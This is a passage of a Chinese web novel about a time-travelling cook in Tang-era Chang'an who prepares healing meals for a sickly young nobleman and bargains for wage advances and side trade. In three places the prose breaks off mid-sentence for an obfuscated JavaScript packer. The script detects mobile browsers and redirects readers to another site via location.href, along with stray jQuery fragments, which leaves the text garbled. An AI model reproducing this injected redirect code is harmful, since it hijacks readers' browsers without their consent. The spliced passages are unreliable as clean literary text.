童白过去时,崔十九爷正坐在桌前,面前是一盏清茶。 “见过十九爷。”童白垂首行礼。 “起来吧。”他的声音比那日听着清润了些,“叫你前来,一是想问问你,上回那灌汤包今日晚膳可会再做,另一个,便是……”目光看向桌上摆出来的菜肴,“听说你将春笋和鸡肉一同做了一道不错的菜肴,不知道这道菜有何说法?” 童白从容解释:“回十九爷,春笋性味甘寒,有清热化痰、利水消肿之效,春季肝气升发,易生内热,春笋可顺势调和肝气、疏解郁热。但因为其口味苦涩,有些人不当食之或许会有中毒的风险,所以有些人家并不会食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582896|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之。 童白刻意停顿一瞬,再接着道:“鸡肉性温,补中益气,与春笋搭配可中和寒性,适合春季体虚、易疲劳者,有助于恢复元气、增强抗病能力,再加上我用特殊的处理方式处理过春笋,那毒性已然解去,且口感只余脆爽去除了涩感,两者相辅相成,此乃……食养相协之理。”她巧妙地将现代营养学理念,用古人能理解的“食性”、“养生”话语包装起来。 崔十九郎眼底掠过一丝极淡的惊异,看向童白:“你懂医理?” “不敢说懂,只是我喜好自己琢磨了些如何吃得……更妥当。”童白避重就轻,抬手指了指那道鸡茸春笋,“十九爷不妨尝尝,此时温度正好。” 崔十九郎依言坐下,用银箸夹起送入口中。入口时鸡茸的极致嫩滑与笋丝的脆嫩形成奇妙对比。 鸡茸入口即化,带有鸡肉的清甜和蛋香。而春笋切丝后脆嫩爽口,保留竹笋特有的清香,略带甘甜。 他吃得慢,动作优雅,但银箸接连两次夹起菜肴,看着他安静进食的样子,看着他精致的侧颜和略显苍白的肤色,童白心中那份属于现代女性的审美被悄然触动。 这病美人,确实……挺养眼的。 “你很会琢磨。”他忽然开口,打破了寂静,声音里听不出情绪,“昨日是清蒸鱼料汁分置,今日是鸡茸春笋相配。明日,又准备用什么来‘妥当’地养我的胃?” 这话带着一丝不易察觉的探究和打趣。童白心头一跳,面上却依旧平静:“十九爷说笑了。奴只是觉得,美食如同人生,未必需要繁复堆砌,有时恰当的搭配与取舍,方能呈现本真之味,于身体也更有益。”她这话,既回答了问题,也隐隐暗指了一些事宜。 崔十九郎放下银箸,拿起一旁的湿帕擦了擦手,抬眼看向她,目光深邃:“哦?那你觉得,我这身子,该如何取舍搭配,方能呈现本真?” 童白感到一丝压力,但也知道这是展现价值的机会。她斟酌道:“十九爷的问题,奴不敢妄断。但观爷气色,似有脾胃虚弱、心火偏旺之象。饮食上当以清淡、温补、易消化为主,避免油腻厚味与生冷之物。或许……奴可尝试一些药食同源的汤羹粥品,慢慢调理。”她点到即止,不敢多说,生怕触犯禁忌。 房内静默片刻。 良久,崔十九郎才缓缓道:“允你一试。”他顿了顿,补充道,“日后所需食材,若府中没有,可列单子给崔老。明日,我想尝尝你说的‘药食同源’的粥品。” “是,奴定当尽力。”童白强压住心中的喜悦,知道这第一步,算是走稳了。 退出房时,她感觉到那道清冷的目光一直落在自己背上,直到门扉轻轻合拢。 走到回廊下,童白轻轻呼出一口气。与这位十九爷打交道,简直比研发十道新菜还耗心神。 但,他方才那隐含打趣与试探的话语,以及最后那句“允你一试”,似乎……并不全然是对一个厨子的态度。 不过,这点小想法很快压了下去。 修缮屋顶要钱,一家老小吃穿用度要钱,未来若想摆脱仰人鼻息的日子,更需要大把的银钱。 “今日没得到机会说,下回一定要说。”她暗自思忖,明日来做那药膳粥时,定要寻个机会向崔老开口。 童白不知,在她离去后,书房内的崔十九郎并未急着用膳。他指尖轻敲桌面,回味着她方才不卑不亢的神态,以及那番关于“取舍搭配”的言论。 那双眼中的神采,澄澈而坚定,与他见过的所有长安贵女或民间女子都不同。不仅手巧,心思也灵。 他唇角勾起一抹极淡的弧度,随即隐去。执起银箸,尝了一口那已微凉的鸡茸金丝笋,鲜味仍在舌尖萦绕。 确实。 越来越有意思了。 61. 多一点依仗 次日晚膳是茯苓山药薏米粥,配清心降火的凉拌枸杞芽和小巧的梅花形状山药糕。 山药糕里裹着开胃的果脯碎。梅花型的模具是她从小厨房里翻找出来的,木质的模具压出的花纹十分精致。粥品软糯温润,几无药味,却满口生津。小菜清爽,点心可人。 崔十九郎用完后,破天荒地觉得腹中暖融舒畅,无丝毫饱滞之感。放下银匙,他看向侍立一旁的童白,“这粥,很好。” “谢十九爷夸赞。”童白福了一礼,心知机会来了。她深吸一口气,努力让声音听起来平静自然,“十九爷,奴有一不情之请。” 崔十九郎用丝巾轻拭嘴角,神态闲适,“讲。” “奴家中房屋年久失修,屋顶渗漏严重。奴想……能否向府上预支半月工钱,以解燃眉之急?”她说完,微微垂首,等待着回应。 这是她思考后认为最合理也最不容易被拒绝的理由。 但内心依然忐忑,当初答应上门做菜前并未聊过这趟的工钱如何计算,是她急着寻找倚靠,更是她不知如何开价…… 崔十九郎闻言,抬眼仔细看了她一眼。只见她虽姿态恭敬,但背脊挺直,眼神清正,并无乞怜之态,倒像是在谈一桩正经交易。 坦然的让人觉得莫名的真诚。 他忽然想起昨日她说的“取舍搭配”,如今为了家中“舍”下面子开口求预支,倒也是懂得“取舍”。 他不答反问:“依你看,我这胃口,还需调理多久方能见大效?” 童白跟崔老提过一嘴,崔十九爷少食是习惯,但久而久之身体所需不能通过食物补给,容易伤身。 童白一怔,谨慎答道:“食养之道,润物无声,快则旬月可见,若要固本培元,非百日不可。” “百日……”崔十九郎指尖在桌上轻点,似在思索,“也就是说,你至少需在我府上忙碌百日。”这小娘子的话语与崔老找来的医者所说倒还算是差不离。 “是。” “既如此,崔老。”他唤道。 “老奴在。” “去支十两银子给童小娘子。其中五两,算作她未来五十日的工钱。另外五两……”他目光转向略有错愕的童白,语气依旧没什么起伏,“算我信你这‘食养之道’。五十日后,若是我这不喜食之症未有改善,你需要还给我,且后续也不用再来府上做吃食了。” 童白心中飞快盘算。 十两银子等于十贯多的大钱,其中五十日的工钱五两银子,也就是五贯,每日的工钱是一百个大钱,在这长安城来说,工钱可真不低。 而十九爷提出的条件以及没达成后的惩罚,也只是另外的五两而已。 她省着点花,到时候哪怕将这五两银还回来,也不是不可以。 再说胃口这种事情,观这几日来看,自己做的吃食,十九爷虽食用的不算多,但却也有食用。 做五十日有五十日的工钱。还多得五十日的庇佑。 她忙不迭点头,“愿意!奴愿意!谢十九爷!”脸上浮现了她这么些时日来最真挚的笑容,眼眸晶亮,就好像里面藏了万千星辉般。 看着她眼中瞬间迸发的光彩,比之前谈论美食时更加明亮生动,崔十九郎忽然觉得,这五两银子花得……甚是值得。他几不可查地弯了一下唇角,旋即恢复平淡。“嗯,去吧。” 崔老走在前面领着童白去了府上的账房,待得童白拿着两个五两的银锭子,终于,心里也踏实了。 果然,还是袋里有钱,才心不慌啊! 连带的,童白对愿意预支薪资和大方的十九爷特别感激,心中当下暗自决定,她定要在五十日内让十九爷的食量有明显改善! 崔老见童白拿着两锭银发呆,笑道:“好了,明日开始后十日,你只需来府上准备午膳和晚膳,午膳要送去学堂,所以你需要做一些便携和便吃的食物,晚膳按照现在的食谱安排即可。”崔老朝童白道。 十九爷明日开始要去学堂进学,早膳太早,便用府上的早膳即可,午膳和晚膳,则需要童小娘子准备。 童白神色一凛,“奴知晓了,定会不负十九爷的期许,好生做事。”她前世在职场中没少跟老板说这类话,现下说起来十分顺口,且真诚。 “行!”崔老满意地背着手离开。 童白回到了小厨房,脸上神情早已恢复正常,见到那不断打量她神色的帮厨,她不动声色,继续忙着制作晚上十九爷要吃的膳食。 忙完后,马车直接送她到了北坊门。她找到胡叔,将自家想要请人来拾瓦之事说了,上回二郎差点被掳走之事被胡叔知道后,他专门来了家里一趟,安抚了二郎一番,还送来了一袋粟米。 她现在日日要去崔府上工,瓦匠大多是成年男子,胡叔若是能来家里盯着,自然更是稳妥。 与胡叔谈妥后,趁着天尚未黑,童白赶紧回了双梧巷。 家里一切都如常,童白将十两银锭拿了出来,白氏吓了一跳,没等童白开口解释,直接拉着她进了主屋,将门紧紧合上。 白氏低声询问,“这么多银子,哪里来的?”眼中既有欢喜又有担忧。 童白拉了拉白氏的手,小声回道:“这是我从崔家那提前预支的工钱,眼见着春季雨季即将来临,咱家这屋顶怎么也要拾瓦了。”不然屋外下大雨,家里下小雨。 听到是崔府给的,白氏安了些心,眼睛在两个银锭子上来回看了好几眼,“可是怎么这么多。” 童白从未说过去崔家做膳食,崔家要给多少银子,她也没问,她知道,就算不给银子,只要童白去做事,崔家便是会护着他们一家。 但没想到,崔十九爷会如此大方,“这么多钱,咱们能收吗?”她担心是不是有什么别的不好的要求,才会给这么多的银钱,“十九爷在家并不受宠。” 她之前在崔府时便听说过十九爷的事,可跟童白嘴里听来崔十九爷不一样。 不仅有自己的私宅,还给了这么多银钱。 童白安慰道:“放心,阿娘,这银钱咱们收着并不亏心。”至于说崔十九爷少食这件事,她并没打算跟家里人说,毕竟,客户的隐私还是很重要的。 将银钱藏在家中,童白对崔府的活计也更加上心。 此时,正是寒气将退未退之时,最易感染风寒,也需防范旧病复发。童白拿出炭笔来,将她结合时令,为崔十九郎精心调配膳食一一写下。 荠菜粥,初春荠菜正当时,是“春日第一鲜”。采来最嫩的荠菜,与粳米同煮成粥,滴入几点香油。荠菜能利肝和中,清淡温润,最宜在久病初愈、脾胃尚弱时食用。 茵陈蒿饼,民谚有“三月茵陈四月蒿”之说。此时茵陈药效最佳,能清热利湿。她将鲜嫩的茵陈洗净焯水,揉入面中,烙成清香扑鼻的软饼,佐粥极佳。 醋芹,选取早春新生的芹菜嫩心,用醋腌制片刻,清爽开胃,能疏解春困,提振食欲。 煨萝卜,此时窖藏的冬萝卜尚未糠心,取其中心最甜润的一段,用高汤慢煨至通透入味,能顺气化痰。 她每次呈上菜肴,也会用将每道菜对应的功效一一解释:“十九爷,春气通于肝,此时宜减酸增甘,以养脾气。这荠菜粥最是平和,您尝尝?” 态度专业,眼神清亮,想着自己这么专业且优质的服务,定然对得每日一百大钱的工钱。 但她此番,落入崔十九郎眼中,却品出了别样的滋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594861|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味。 这小娘子对他,实在“用心至深”! 他不过因春寒微微咳嗽两声,次日食盒里便添了一盅杏仁酪,润肺止咳。 他偶然夜深才入睡,次日她便奉上一盏红枣桂圆茶,说是能安神养心。 她甚至能注意到他少用了一筷那略带苦味的茵陈饼,下一次便会调整火候,让清苦之气更淡,回甘更显。 又到了下一个休沐日,崔十九郎靠在铺着貂皮的榻上,看着窗外庭院中初绽的迎春花,对崔老淡淡道:“她倒是……有心。”如此细致入微,连这点变化都体察入微。 崔老垂首:“童小娘子心思灵巧,对爷的膳食确是尽心。”对此,崔老十分满意。 十九爷幼时没条件吃,现在有条件吃,却吃不下了。愁死个人。 这童小娘子,虽然一手厨艺来历不明,但她的手艺能让十九爷喜欢,每日进食量逐渐增多,崔老怎么能不欢喜。 “嗯。”崔十九郎闭上眼,眼前浮现那日童白听说可以预支十两时,眼中闪现的动人光彩,轻呲一声:“主要还是那十两银子让她分外上心。” 崔老跟在崔十九爷身边近十年,还是头回见到主子对一名女子如此关注,心念微微一动,“童小娘子虽不是君子,却属爱财,取之有道一类。” 崔十九郎听到崔老这般说,心下肯定,是的,她贪财,却坦荡;关切,却不谄媚。 弄得他现如今每日都很期待童小娘子带来的惊喜,无论是厨艺上的还是别的。 当然,这只是因为她能调理好自己的身子,仅此而已。 童白并不知道崔十九爷和崔老的这段对话。 她正在小厨房处理府里采买来的新鲜蒲菜,准备做一道清淡鲜美的蒲菜鱼圆汤。 吴大厨状似无意地踱步过来,看着那鲜嫩的蒲菜,皮笑肉不笑地道:“童小娘子真是好手段,这等时令野蔬也能寻来,还得了十九爷青眼,连预支工钱这等破例之事都应允了。” 停顿片刻,却不见童白有所回复,他咬牙继续说:“只不过,这蒲菜性凉,小娘子用的时候可得仔细着点,莫要寒了爷的脾胃。” 童白手上刮鱼茸的动作不停,头也没抬,声音平静无波:“谢吴大厨提点。十九爷仁厚,体恤下人。这蒲菜我已用姜汁、胡椒水浸过,性已中和,佐以温性的鱼圆和高汤,正是顺应春天气候的吃食,不劳您费心。” 这话软中带硬,既点明了主家的恩典,又暗指自己懂得食性平衡,轮不到他指手画脚。吴大厨碰了个软钉子,正想多争嘴几句,眼角余光瞥见小厨房里几名帮厨往这边瞧来的目光,他脸色微沉,讪讪走开。 童白看着他离去的背影,心中不由感慨,真是时时刻刻都有人在盯着! 而她不知道,吴大厨这番带着敲打和试探的话,很快便被一字不落地呈报到了崔十九郎那里。 崔十九郎听完,神色未变,只漠然道:“看来是太闲了。去查查他近日采买的账目。若安分,便留着。若不安分……”他未尽之语带着冰冷的意味。 崔老领命而去。 崔十九郎的目光重新落回书卷上,却是一个字也看不进去了。蒲菜,是长安初春的时令之物,童小娘子之前,均因属寒凉而从未尝过。 虽是简单之事,但寻常厨子未必想得到,也未必愿意费心去其寒性。她却愿意。 看来,仅仅预支工钱,似乎还不够。 或许,需给她再多一点倚仗。 让她能安心钻研她的“食养之道”,不必为这些琐事烦心,更不必……被那些不相干的人刁难。 当然,这一切是为了她能更好地调理他的身子。 他再次在心中确认。 62. 打不过,那就加入吧 这一日傍晚,天光渐隐,童家灶屋里传出有节奏的“笃笃笃”声。童白一身蓝白衣裙,手起刀落,将三分肥七分瘦的猪肉剁成了细腻的肉糜。 她的动作不紧不慢却又带着一种特有的节奏,就像是已经这样做过了无数次一般。 童二郎蹲在灶前,认真地看顾着灶火。白氏将嘴里咿呀叫的四郎放入垫着厚麻布的竹制推车中,交代一旁兀自玩耍的三娘盯着点,进了灶屋。 白氏瞧过童白如何做白菜肉的蒸饼,也无需她吩咐,净手后,帮着搓洗杀了水的白菜丁。 “我们这般,当真不会惹十九爷不快?”白氏眉心微微隆起,声音里都带上了几分愁绪。 她话语间说的便是她们现下正在准备的蒸饼。 童白去崔十九爷府上上工十余日,一直没与付坊吏以物换物,付坊吏托胡叔来家里递话。 “阿娘宽心,”童白手上动作不停,将剁好的鱼糜加入葱姜花椒水搅打上劲,“我们这也算不上私下做买卖,不过是自家做了吃食,送些给相熟的人家罢了,”童白并不觉得这事有何不妥,“再说,这都是在我下工之后做的,并未耽搁府里的事。十九爷是明理之人,岂会在意这点小事?” 白氏闻言,眉头依然紧蹙。她这换了魂的女儿,能干自信得令人心惊,可有时候又天真的让她担忧。 她身为十九爷的厨娘,如何还能给别人做吃食。 童白瞥见了白氏神色,熟练地岔开话头,“阿娘,现下四郎渐大,你也不必总困于家中,空余时间可以去刘婶子和巷口的卢婶子家坐坐。” 军眷登记已过半月,童寄仍无音讯,若非吴大伯也未归,她差点以为坊间的传言竟是真的。 白氏面有难色:“刘婶子家养着鸡雏,四郎一见就拍手尖声喊叫,吓到鸡崽不说,”说到此,抬头往院门瞧了一眼,压低声音:“还容易招来隔壁陈娘子。” “去卢婶子家便无此事吧?”卢婶子可不是可好性子的,对陈家也颇看不上。 “倒是没有。有几次她来咱家敲门时,碰巧卢娘子在,她被卢婶子夹枪带棒地骂走了,便不敢再来。只是……”白氏欲言又止。 “卢婶子又打听我在崔府的事?”童白了然。 白氏点头,神色窘迫:“你卢婶子老爱问你在十九爷府上做事之事,我可不敢多说。”她是个不爱多言主家的性格。 童白心下了然,“无妨,一会儿我送点蒸饼过去。”有些交道,需要她亲自来。 * 暮色渐浓,天边最后一抹霞光如同褪色的胭脂。童白提着竹篮扣响了吴家的院门,卢娘子瞧见童白时,眼角笑出了花。高声唤吴三娘准备茶饮。 童白目光落在院子角落里那片生机盎然的菜地上。 天气渐暖,嫩生生的菜叶争相冒出头。 童白才想起自家还有张老汉送给的菜种子,这段时间忙碌,一时间都忘记开荒种菜地之事。 卢娘子见她盯着菜地,笑道:“待这些菜长成些,给你家送点尝尝鲜。” 童白连忙摆手,做出愁苦状:“可莫再送了,前段时日家里囤的冬储菜还有许多,我这段时日白日不在家,消耗慢,再放下去只怕烂了坏了,阿娘见了,非拧我耳朵不可。。” 吴三娘正端茶出来,闻言奇道:“童小娘子这般能干,白婶子还舍得拧你耳朵?” 童白接过粗陶茶杯,眼也不眨地信口胡诌:“怎么不舍得?我娘平日里是好性子,可见了浪费粮食,下手可狠了。”事实上,无论是原主记忆还是她亲身经历,白氏都从未如此。 卢娘子睨了女儿一眼,又将话头拉回,关切道:“不知你还要在崔府忙多久?那菜蔬若吃不完,天气再暖些,怕是存不住。” “月余是要有的。”童白顺着话叹气道:“我专门为此做了酸腌菜,但依然消耗的慢,婶子见识多,可有什么好办法?”是了,这就是她此趟的真正目的。 计划赶不上变化,当初她采买这些,是为上巳节和日后做小买卖用的。谁知先是坊吏上门,后又与文奶娘撕破脸,如今进了崔府,做酸腌菜售卖之事只能作罢。 但,真等着菜蔬烂掉,她又不舍。 卢娘子精光一闪,沉吟道:“听说,你那酸腌菜,带去给贵人尝过?”她话语微顿,观察着童白的脸色,“若你愿意,婶子倒想换些来尝尝。贵人都肯入口的,定是极好的。” 童白只笑道:“这有何难。婶子备个陶罐给我,过两日我给您送来。只不知婶子口味偏好?爱吃甜些的,还是……辣些的?”她在崔府时,托采买管事弄到些茱萸,正好一试。 “辣?”卢娘子问,“是像姜那般,还是像蒜?” 童白莞尔,这时代辣椒尚未传入,“辣”的概念确实模糊。“那我便甜口、辣口各做一些,请婶子都尝尝鲜。”她顿了顿,状似无意地问道:“婶子消息灵通,可知吴大伯和我爹他们,何时能回长安?” 卢娘子笑容淡了些,叹口气:“我也不知。为此事专门回了趟娘家打听,兄长只说已在路上,却无准信,反倒训斥我妇人不得打探军情。” 童白见问不出更多,又闲话几句,便告辞归家。 * 翌日到了崔府,去小厨房前,童白先去寻了崔老。 “崔老,那日给主子尝过的酸腌菜,原本是我做了补贴家用的,不知道,若是我做了与坊间人家以物换物,可能行?” 那日白氏的神情还是让她上了心,觉得需要过个明路。 崔老倒是没想到童白前来是询问此事,下意识就拒绝,“这,怕是不妥吧?” 童白不甘心,追问:“哪怕做的口味不如送来给主子吃的,也不行吗?” 崔老想说你怎么如此不懂事,却在看见童白晶亮的眼眸里的期待和坚持后,吐口道:“我问问主子吧。” 童白得了他的话语,回到小厨房。 崔府小厨房,童白心不在焉地处理着食材。她今日准备做一道虾仁滑蛋和照烧鸡腿,主食依旧是崔十九郎近来颇喜欢的青菜肉糜粥。 将鲜虾剥壳去线,用刀背轻轻拍散,加入少许盐、清酒抓匀;鸡蛋磕入碗中,搅打至蛋清蛋黄充分融合,泛起细密泡沫。 陶瓮烧热,滑入猪油,待油温升高,先将虾仁快速滑炒至蜷曲变红,立刻盛出。锅内留底油,倒入蛋液,在蛋液将凝未凝之时,复将虾仁倒入,快速翻炒,蛋液如同柔软的云朵,瞬间包裹住粉嫩的虾仁,出锅时撒上一小撮翠绿葱花——虾仁滑蛋,成菜嫩黄缀粉碧,香气扑鼻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645152|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 另一道照烧鸡腿则更费工夫。选用肥嫩鸡腿,去骨后用刀尖在肉面轻划几刀,以防回缩。以清酒、饴糖、酱油调成的照烧汁腌制片刻。 鏊子放少许油,先将带鸡皮一面朝下煎制,油脂“滋滋”作响,待鸡皮煎至金黄焦脆,翻面继续煎熟,放入浅口陶瓮中,淋入腌制的酱汁,大火收浓。 酱汁紧紧包裹着鸡腿肉,呈现出诱人的琥珀光泽,甜咸交织的浓郁香气弥漫在整个小厨房。 待食盒送至学堂,学堂里时常跟萧五郎混在一起的郑林瞥见那油亮亮的鸡腿,下意识咽了口唾沫,伸手欲夺,却被萧五郎摇头阻拦。 萧五郎阴沉地盯着崔十九郎,脑中浮现父亲让他在学堂收起脾气的话语,如同吞了只苍蝇般难受,却也不得不照做。 难道是因为崔将军即将德胜而归的原因? 但他一个旁系庶子,如何就能得了崔将军的青眼,不行,他回头定要去问一问崔十五郎。 * 这一日,讲学的夫子临时有事,学堂下学早,回到府上,崔老跟崔十九郎提了童白询问之事,崔十九郎沉吟片刻,交代:“晚膳早点用,让童小娘子来一下。” 日头渐渐往西偏移,童白随着小厮一同前来崔十九爷的院落。 童白微垂首,站在八仙桌旁,低声为十九爷介绍菜式。 “十九爷,这是蛋花青菜汤,口感滑嫩脆爽,口感清淡宜人;这是烧鸭胸,用饴糖与豉汁调和,咸中带甜,肥瘦适宜,最是下饭。” 或许是小娘子说话轻柔的缘故,原本普通的菜式,从她嘴里说出来,就好似更好食了几分。 崔十九郎执箸,慢条斯理地尝着童白介绍的烧鸭胸。肉质嫩滑,饴糖与豉汁调和出的琥珀色酱汁咸甜得当,果然极佳。 他放下银箸,目光平静地落在垂首侍立的童白身上。 “是府上给的月钱,不够童小娘子家用吗?”他的声音听不出情绪,却让一旁的崔老心头一紧。 童白微微一怔,抬起眼帘,对上他审视的目光,旋即又垂下。“回十九爷,月钱丰厚,奴感激不尽。” “哦?”崔十九郎指尖轻叩桌面,发出规律的轻响,“那为何……还需为些许菜蔬,与坊间以物易物?”他话语一顿,语气依旧平稳,却带着无形的压力,“可是觉得,在我这府上,屈才了?” 这话已是极重的敲打。崔老屏住呼吸,暗暗为童白捏了把汗。 童白心下一凛,知道此刻回答至关重要。她深吸一口气,强迫自己冷静下来,脑中飞速运转。 她不能承认嫌钱少,也不能表现出对崔府的轻视。 她再次抬头,目光清亮而坦诚:“十九爷明鉴。奴绝无此意。奴只是以为,厨艺之道,不能一味困于府中,需与市井往来,方能知时节变化,晓口味新迁,也为十九爷的膳食能常食常新。” 她微微一顿,语气愈发诚恳:“奴愿立下字据,凡在崔府所创之新菜式、所用之新方,其法尽归府上,奴绝不外传。家中偶做腌菜蒸饼与邻里,为维系人情,亦是为主子,恳请十九爷恩准。” 真是气啊,这里的人与她思维有璧。她是个识时务的,反抗不了,只能按照这里的人的思维来处理。 打不过,那就加入吧! 63. 本土关东煮 一时间,室内落针可闻。崔老惊讶于童白的胆识与条理,更小心翼翼地窥探主子的神色。 崔十九郎凝视着下方那小娘子。她脖颈纤细,却挺得笔直,眼神清澈而坚定,没有寻常奴婢的畏缩,反倒像在……与他谈判。 这感觉,很新奇。 他想起查来的消息里,那个在崔府沉默寡言、任人拿捏的童小娘子,与眼前之人,判若云泥。 “立字据?”他唇角似乎几不可察地动了一下,语气听不出喜怒,“口气不小。难道十多年崔府生涯,就学了这些?” 童白心下一凛,意识到或许适才的话语,有些过了。她压下慌乱,努力回忆起原主在崔家时面对主家时的状态,语气诚恳: “奴不敢。奴愿立据,是为求一个心安,亦是向十九爷表明,奴绝无背主牟利之心。” 她悄悄抬眼,正对上崔十九郎深邃的目光,那目光似要将她看穿,她心头一跳,复又垂下。 她不是不怕,也不是故意反骨,只能说她心中的契约精神与这里的并不同频。 上一世,只要不影响正常工作,做兼职的人也不少。 她下意识便没当这个是多大的事,是她草率了。 一时间,双方陷入沉默…… 崔老的视线在俩人身上来回,忽地,余光瞥到十九爷指尖微微一动,他思绪一转,上前轻咳一声,“爷,童小娘子也是一片赤诚,怕糟蹋了东西。不过,老奴倒是觉得,菜蔬并不是什么难处理的,咱们府上仆从众多,消化掉也非难事……” 崔十九郎见童白耳根微微泛红,方才那点故作镇定的模样倒比之前的“理直气壮”更显真切。顺着崔老的话语,“若你只是想处理那些冬储菜,何不早言?”他语气缓和少许,顿了顿,终是允了,“罢了,依你。去做吧,别误了正事。” “谢十九爷!”童白福了一礼,退出房。 这件事在崔十九郎退让,崔老打圆场,童白识时务之中解决。 却是让听到这个消息的吴大厨和帮厨气愤不已,惋惜的很,为何童白没能因而得罪十九爷。 很快,这消息也传到了文奶娘耳中,她冷哼一声,“这小妮子倒是警醒。” 两日后,童白站在崔府地窖前,看着堆积如小山的白菜和萝卜,深吸一口气,周围围着的一圈人,窃窃私语,她就当没听见。 她挽起袖子,指挥着小厮将部分白菜搬至通风处略略晾蔫,另一部分则取用鲜嫩的菜心,挑了水分足、形体匀称的萝卜,部分切滚刀。 今日午膳,她要用这些菜蔬制作唐版关东煮——五香煨菜。 当然,为了提升萝卜的身价,她尝试用萝卜雕花,她雕的十分认真。 一刻钟后,童白瞧见那粗糙的似兔非兔的萝卜,以及分不清是什么的元宝,瞬间默然。 嗯,理想是丰满的,现实则是骨感的,谁说雕花才能提升厨艺品质,其实简单的滚刀块,也能彰显出质朴。 摇一摇头,童白将雕坏的萝卜段扔在一边,决定先做五香煨菜的汤锅。 无昆布,无味增,她便用上好的干香菇、拇指大小的小银鱼干与两年以上的肥嫩柴鸡,细细熬煮了整整两个时辰,制得一锅金黄澄澈、鲜香浓郁的底汤。 撇尽浮油,只留醇厚本味,佐以川蜀来的花椒、老姜片与少许饴糖提味增鲜。 童白舀出一小碗来,让因好奇而来小厨房围观的崔老品尝,入口后,崔老浑浊的眼瞳里闪现一抹惊人的光辉。 瞬间对新菜式多了几分期待。 萝卜块在汤中文火慢煨至通体晶莹,一看就是吸饱了汤汁的精华,用竹签一扎即透时,放入切成半个手掌大小的豆腐块以及手打肉丸。 待得这些食材入味后,最后再放入白菜心。 两刻钟后,一大锅热气腾腾的五香煨菜出炉。 香气醇厚却不油腻,是小厨房的众人从未闻嗅过的食物香味,大家不约连声称奇。 随着一同出锅的还有用半烫面做的灌汤蒸饼,面皮在蒸汽中变得剔透,隐约可见内里晃动的汤汁。 打包好这些,马车送去学堂。 小厮将食物布于桌上,崔十九郎执箸先夹起一个灌汤蒸饼,薄皮颤巍巍的,似吹弹可破。他小心咬开一个小口,滚烫鲜美的汤汁瞬间涌入口中,肉质鲜嫩,面皮韧滑,引得一旁早已垂涎的王六郎再也按捺不住,上前讨要。 原本上回那一次学堂闹事之后,崔十九郎和王六郎的面上关系僵了一段时日,但随着萧五郎及其随扈这段时日的消停,俩人的关系,又恢复了些。 崔十九郎见食盒里尚余九个,点头应了王六郎的要求,“那你尝尝吧,最近我身体不佳,这厨娘是家中老仆专门寻来调理肠胃的,做的食物比较合我的口味和身体。”而他,则是品尝那一碗从未见过的萝卜豆腐汤。 入口便感觉,这可不是一碗寻常的萝卜豆腐汤。 也不知道童小娘子如何制作的,能把寻常菜肴制作的如此美味,怕是功夫全用在汤底中。又喝了一口汤,细细品味一番,嗯,这汤绝对不是只添加了肉骨进去熬制才会如此美味,再来一口,还是未能尝出里面放了什么。 等到第三口喝下去,他猛然意识到自己其实无需如此这般,只需要感受美味即可。 心情很好的咀嚼着萝卜,眼角余光却发现了正在夹灌汤蒸饼的王六郎,他嘴角油亮,咀嚼的十分迅速,明显是嘴里还在吃着就惦记着碗里的了! “你别夹了,我不够吃。”别看童白给准备了一碟十个灌汤蒸饼,但她做的蒸饼个头不大,不夸张的说,要不是汤汁烫人,一口一个不在话下。 那王六郎早就没有往日的有礼和矜持,咽下嘴里的食物,眼巴巴地看着崔十九郎,“上回见十九郎如此好胃口,还是在我姑祖母家用烤肉时,还有那蜜渍……” 他话语还未说完,不耐烦听他絮叨的崔十九郎让随侍在旁的小厮给他盛出一碗萝卜豆腐汤,“蒸饼不给了,汤分你一碗。” 王六郎喜滋滋地举箸夹起一块晶莹剔透的萝卜送入口中,发出喟叹,“这也太好吃了,是我此生吃过的最好吃的萝卜!” 他这动静,引得另一边好些同窗往这边瞧。 说实在的,以往崔十九郎是在食堂用膳,大家也不是没吃过食堂的膳食,那滋味,一言难尽。但无需额外支付银钱且方便,很多家中没有送餐条件的学子都在食堂用膳。 只是,不知道从何时起,崔十九郎也有仆从送膳食了,而且送来的膳食不仅闻着香,光看都是美味的很。 只是,碍于崔十九郎与大家关系淡淡的,没人好意思上前求分享,哪知今日王六郎却做了学堂第一人。 大家瞧着王六郎的进食摸样,心下如同蚂蚁啃食一般,痒痒的。 或许是俩人同食 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童白不动声色地看向哈维,想看看他是打着什么主意。 哈维愁眉苦脸道:“小娘子,救急!我们,吃烤饼,羊肉,不行了。”他捂着肚子,表情痛苦,“拉不出……很多天了。” 童白愕然,她一个厨子,怎么还被找上门来解决便秘了? 她很快便意识到哈维是怕自己拒绝,所以才拉了卢娘子来。正在想,该如何拒绝时。 